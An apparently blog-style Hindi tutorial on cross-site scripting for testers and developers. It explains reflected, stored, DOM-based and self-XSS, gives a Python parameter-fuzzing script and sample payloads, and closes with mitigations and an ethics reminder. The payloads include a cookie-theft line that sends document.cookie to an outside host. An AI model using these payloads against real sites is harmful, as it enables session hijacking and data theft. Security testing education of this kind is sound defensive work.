मेरे द्वारा देखे गए आँकड़ों और मेरे अनुभव के अनुसार, XSS कमजोरियाँ वेब अनुप्रयोगों के लिए एक प्रचलित खतरा बनी हुई हैं, जिससे डेटा चोरी, सत्र अपहरण और वेबसाइट समस्याओं का खतरा बना हुआ है। मैंने फैसला किया कि मैं इस भेद्यता प्रकार पर शोध करने में अधिक समय बिता सकता हूं और कम से कम इस अवलोकन-जैसे बुनियादी ज्ञान को आपके साथ साझा कर सकता हूं ताकि कई क्यूए और विकास विशेषज्ञ इस मुद्दे के खिलाफ अपने ऐप्स का परीक्षण करने के कुछ तरीकों को ध्यान में रख सकें। यह आलेख विभिन्न प्रकार के XSS, परीक्षण पद्धतियों और स्वचालन दृष्टिकोणों की पड़ताल करता है और प्रभावी प्रवेश परीक्षण के लिए कुछ उदाहरण और पेलोड प्रदान करता है।
क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलावरों को क्लाइंट-साइड कोड निष्पादन में कमजोरियों का फायदा उठाकर अन्य उपयोगकर्ताओं द्वारा देखे गए वेब पेजों में दुर्भावनापूर्ण स्क्रिप्ट डालने की अनुमति देता है। विभिन्न प्रकार की XSS कमजोरियों को समझना और उचित परीक्षण रणनीतियों का उपयोग करना ऐसे हमलों से सुरक्षित सुरक्षित वेब ऐप्स बनाने के लिए महत्वपूर्ण है।
XSS शोषण तब होता है जब अविश्वसनीय उपयोगकर्ता इनपुट को वेब एप्लिकेशन के भीतर अपर्याप्त रूप से साफ और निष्पादित किया जाता है, जिससे हमलावर अन्य उपयोगकर्ताओं के ब्राउज़र के संदर्भ में दुर्भावनापूर्ण स्क्रिप्ट को इंजेक्ट और निष्पादित कर सकते हैं।
तब होता है जब उपयोगकर्ता द्वारा प्रदत्त डेटा उचित सत्यापन के बिना प्रतिक्रिया में वापस प्रतिध्वनित हो जाता है।
उदाहरण: <script>alert('XSS_DEMO')</script>
एक URL पैरामीटर के माध्यम से इंजेक्ट किया गया।
ये कारनामे तब घटित होते हैं जब कोई वेब एप्लिकेशन उचित स्वच्छता के बिना उपयोगकर्ता के ब्राउज़र पर अमान्य उपयोगकर्ता इनपुट को दर्शाता है। इस हमले में, हमलावर स्क्रिप्ट कोड युक्त एक दुर्भावनापूर्ण यूआरएल तैयार करता है, जिसे पीड़ित द्वारा क्लिक करने पर, कमजोर वेब पेज के संदर्भ में निष्पादित किया जाता है। दुर्भावनापूर्ण स्क्रिप्ट सर्वर पर संग्रहीत नहीं होती है, बल्कि सीधे उपयोगकर्ता के इनपुट से परिलक्षित होती है। प्रतिबिंबित XSS कमजोरियाँ अक्सर फ़िशिंग हमलों में या उपयोगकर्ता के ब्राउज़िंग अनुभव में हेरफेर करने के लिए उपयोग की जाती हैं। प्रभाव गंभीर हो सकता है, कुकी चोरी से लेकर सत्र अपहरण तक।
दुर्भावनापूर्ण स्क्रिप्ट को सर्वर पर स्थायी रूप से संग्रहीत किया जाता है और अन्य उपयोगकर्ताओं द्वारा एक्सेस किए जाने पर निष्पादित किया जाता है।
उदाहरण: फ़ोरम पोस्ट या सोशल नेटवर्क प्रोफ़ाइल पेज पर टिप्पणी/पोस्ट में संग्रहीत दुर्भावनापूर्ण स्क्रिप्ट।
इसे परसिस्टेंट XSS के रूप में भी जाना जाता है, यह तब उत्पन्न होता है जब कोई हमलावर किसी वेब एप्लिकेशन में दुर्भावनापूर्ण स्क्रिप्ट कोड इंजेक्ट करता है, जिसे बाद में सर्वर साइड पर संग्रहीत किया जाता है। जब भी कमजोर पेज अन्य उपयोगकर्ताओं द्वारा एक्सेस किया जाता है तो इस इंजेक्टेड स्क्रिप्ट को बाद में पुनर्प्राप्त और निष्पादित किया जाता है। संग्रहीत XSS हमले विशेष रूप से खतरनाक होते हैं क्योंकि इंजेक्ट की गई स्क्रिप्ट समय के साथ बनी रहती है, संभावित रूप से कई उपयोगकर्ताओं को प्रभावित करती है और व्यापक शोषण का कारण बनती है। हमलावर आमतौर पर अपने दुर्भावनापूर्ण पेलोड को निष्पादित करने के लिए उपयोगकर्ता-जनित सामग्री जैसे टिप्पणियाँ, फ़ोरम पोस्ट, संस्थाओं के नाम को लक्षित करते हैं जो वेब पेजों या प्रोफ़ाइल फ़ील्ड पर प्रदर्शित होते हैं। संग्रहीत XSS के परिणामों में डेटा चोरी, खाता अधिग्रहण और वेबसाइट विरूपण शामिल हो सकता है, जो उपयोगकर्ताओं और प्रभावित संगठन दोनों के लिए महत्वपूर्ण जोखिम पैदा कर सकता है।
स्क्रिप्ट निष्पादन क्लाइंट पक्ष पर DOM के हेरफेर पर निर्भर करता है।
उदाहरण: जेएस कोड यूआरएल हैश से उपयोगकर्ता-नियंत्रित डेटा को पुनर्प्राप्त और निष्पादित करता है।
यह तब होता है जब एक वेब एप्लिकेशन असुरक्षित तरीके से अविश्वसनीय उपयोगकर्ता इनपुट के आधार पर DOM में गतिशील रूप से हेरफेर करता है। पारंपरिक XSS हमलों के विपरीत, जिसमें सर्वर-साइड प्रोसेसिंग शामिल होती है, DOM-आधारित XSS पूरी तरह से क्लाइंट साइड पर प्रकट होता है। हमलावर पीड़ित के ब्राउज़र के भीतर मनमाना कोड निष्पादित करने के लिए क्लाइंट-साइड स्क्रिप्ट में हेरफेर करके DOM-आधारित XSS का शोषण करते हैं। इस प्रकार के XSS का पता लगाना और उसे कम करना अक्सर कठिन होता है, क्योंकि भेद्यता क्लाइंट-साइड कोड के भीतर रहती है और सर्वर-साइड परीक्षण के दौरान स्पष्ट नहीं हो सकती है। DOM-आधारित XSS हमलों से विभिन्न परिणाम हो सकते हैं, जिनमें सत्र अपहरण, डेटा घुसपैठ और उपयोगकर्ता की ओर से अनधिकृत गतिविधियां शामिल हैं, जो क्लाइंट-साइड सुरक्षा उपायों और सतर्क वेब ऐप विकास प्रथाओं के महत्व पर प्रकाश डालती हैं।
यह एक सोशल इंजीनियरिंग हमला है जहां एक हमलावर उपयोगकर्ता को अपने ब्राउज़र के भीतर दुर्भावनापूर्ण कोड निष्पादित करने के लिए प्रेरित करता है। कई उपयोगकर्ताओं को लक्षित करने वाले पारंपरिक XSS हमलों के विपरीत, सेल्फ-XSS अपने सत्र के भीतर कोड निष्पादित करने के लिए उपयोगकर्ता के भरोसे का फायदा उठाता है। आमतौर पर, हमलावर पीड़ितों को हानिरहित कार्रवाई की आड़ में उनके ब्राउज़र के डेवलपर कंसोल या वेबसाइट के कुछ क्षेत्रों में मासूम दिखने वाले जेएस कोड को चिपकाने का लालच देते हैं, जैसे किसी सुविधा को अनलॉक करना या पुरस्कार अर्जित करना। एक बार निष्पादित होने के बाद, इंजेक्ट किया गया कोड संभावित रूप से पीड़ित के खाते से समझौता कर सकता है, संवेदनशील जानकारी चुरा सकता है, या उनकी ओर से अनधिकृत कार्य कर सकता है। पीड़ित के सत्र तक सीमित होने के बावजूद, सेल्फ-एक्सएसएस एक खतरा बना हुआ है, जो ऐसी भ्रामक रणनीति को पहचानने और उससे बचने के लिए उपयोगकर्ता शिक्षा और जागरूकता के महत्व पर जोर देता है।
आप कुछ स्क्रिप्ट लिख सकते हैं; मैं पाइथॉन पसंद करता हूं, उदाहरण के लिए:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
यह निर्धारित करने के लिए प्रतिक्रियाओं का विश्लेषण करें कि पेलोड प्रतिबिंबित होते हैं या निष्पादित होते हैं। पीओसी बनाएं, संभावित प्रभाव को समझें और मुद्दों को ठीक करने को प्राथमिकता दें।
कदम:
अपने ऐप के इनपुट फ़ील्ड में एक स्क्रिप्ट टैग और उसके बाद कुछ जेएस कोड दर्ज करें।
उदाहरण के लिए, बुनियादी XSS पेलोड:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
इनपुट सबमिट करें और देखें कि स्क्रिप्ट निष्पादित होती है या नहीं।
यदि ऐसा होता है, तो एप्लिकेशन XSS हमलों के प्रति संवेदनशील है।
यदि स्क्रिप्ट निष्पादित नहीं होती है, तो अन्य HTML टैग, जैसे <img>
या <iframe>
जोड़कर इनपुट को संशोधित करने का प्रयास करें , और देखें कि क्या वे पृष्ठ पर प्रतिबिंबित होते हैं, उदाहरण के लिए (यह लगभग हमेशा मेरे लिए काम करता है):
<b>t</b>#`"/*—est
आप अपने वेब ऐप यूआरएल या उपयोगकर्ता नाम, अपलोड किए गए फ़ाइल नाम , या ऐप पेज पर प्रदर्शित होने वाले किसी भी टेक्स्ट के क्वेरी पैरामीटर में एक स्क्रिप्ट जोड़ सकते हैं जिसे आप बदल सकते हैं।
इनपुट के फ्रंट-एंड सत्यापन से अवगत रहें। हमेशा सीधे अनुरोध (पोस्टमैन, बर्प, या किसी समान उपकरण का उपयोग करके) का उपयोग करके मूल्य सबमिट करने का प्रयास करें।
डेव टूल्स में ब्राउज़र कंसोल की जांच करें क्योंकि कभी-कभी आपको पृष्ठ पर कोई दृश्य परिवर्तन नहीं दिख सकता है, लेकिन कुछ प्रतीक, जैसे `"/*—
पृष्ठ के JS/HTML को तोड़ सकते हैं, और आपको कंसोल में एक चेतावनी दिखाई देगी जो हो सकती है यह आपके लिए एक संकेत है कि XSS PoC प्राप्त करने के लिए अपने पेलोड को कैसे संशोधित करें
फ़ज़िंग और पेलोड की सूची का उपयोग करें - जब संभव हो तो इस दृष्टिकोण को स्वचालित करें या इसके लिए विशेष उपकरणों का उपयोग करें।
व्यक्तिगत रूप से, मुझे यहां से पेलोड और जानकारी का उपयोग करना पसंद है, मेरी राय में, यह एक बहुत ही उपयोगी संसाधन है।
एक्सएसएस पीओसी
print()
फ़ंक्शन जैसे वैकल्पिक पेलोड का उपयोग करना।उन्नत XSS शोषण
XSS फ़िल्टर को बायपास करना
उस संदर्भ के आधार पर डेटा को एन्कोड करें जिसमें आउटपुट डेटा प्रस्तुत किया जा रहा है। XSS के विरुद्ध व्यापक सुरक्षा सुनिश्चित करने के लिए HTML, JS, CSS और अन्य संदर्भों के लिए अलग-अलग एन्कोडिंग विधियाँ लागू करें।
उदाहरण के लिए , स्क्रिप्ट इंजेक्शन को रोकने और विभिन्न आउटपुट संदर्भों में डेटा अखंडता बनाए रखने के लिए HTML सामग्री के लिए HTML इकाई एन्कोडिंग, इनलाइन स्क्रिप्ट संदर्भों के लिए जावास्क्रिप्ट एस्केपिंग और स्टाइल विशेषताओं के लिए सीएसएस एस्केपिंग का उपयोग करें।
अनुमत और निषिद्ध वर्णों, पैटर्न या सामग्री प्रकारों की पूर्वनिर्धारित अनुमति सूचियों और अस्वीकृत सूचियों के आधार पर उपयोगकर्ता इनपुट को फ़िल्टर और मान्य करने के लिए इनपुट व्हाइटलिस्टिंग और ब्लैकलिस्टिंग लागू करें।
XSS वेब ऐप्स के लिए लगातार खतरा पैदा करता है, डेटा उल्लंघनों और उपयोगकर्ता के विश्वास को खतरे में डालता है। प्रभावी शमन के लिए XSS प्रकार और परीक्षण विधियों को समझना महत्वपूर्ण है। इनपुट सत्यापन, आउटपुट एन्कोडिंग और सीएसपी कार्यान्वयन जैसी रोकथाम तकनीकें ऐप सुरक्षा में सुधार करती हैं। सुरक्षा प्रथाओं और सहयोग को प्राथमिकता देकर, टीमें अपने ऐप्स को XSS से सुरक्षित रख सकती हैं और पर्याप्त वेब ऐप सुरक्षा सुनिश्चित कर सकती हैं।
यदि आप नौसिखिया हैं और साइबर सुरक्षा और प्रवेश परीक्षण में रुचि रखते हैं या इसे और अधिक सुरक्षित बनाने के लिए अपने ऐप में सुधार करना चाहते हैं, तो आप इन विषयों पर मेरे लेख पढ़ सकते हैं:
XSS और पेलोड के बारे में अधिक जानकारी के लिए, आप निम्नलिखित संसाधन पा सकते हैं:
प्रवेश परीक्षण हमेशा स्पष्ट अनुमति के साथ और नियंत्रित वातावरण में करें। यह नैतिक दृष्टिकोण सुनिश्चित करता है कि सुरक्षा मूल्यांकन जिम्मेदार परीक्षण प्रोटोकॉल के साथ संरेखित हो, सिस्टम में अनजाने समझौते को रोका जा सके और परीक्षण प्रक्रिया और व्यापक साइबर सुरक्षा रणनीति दोनों की अखंडता को बनाए रखा जा सके।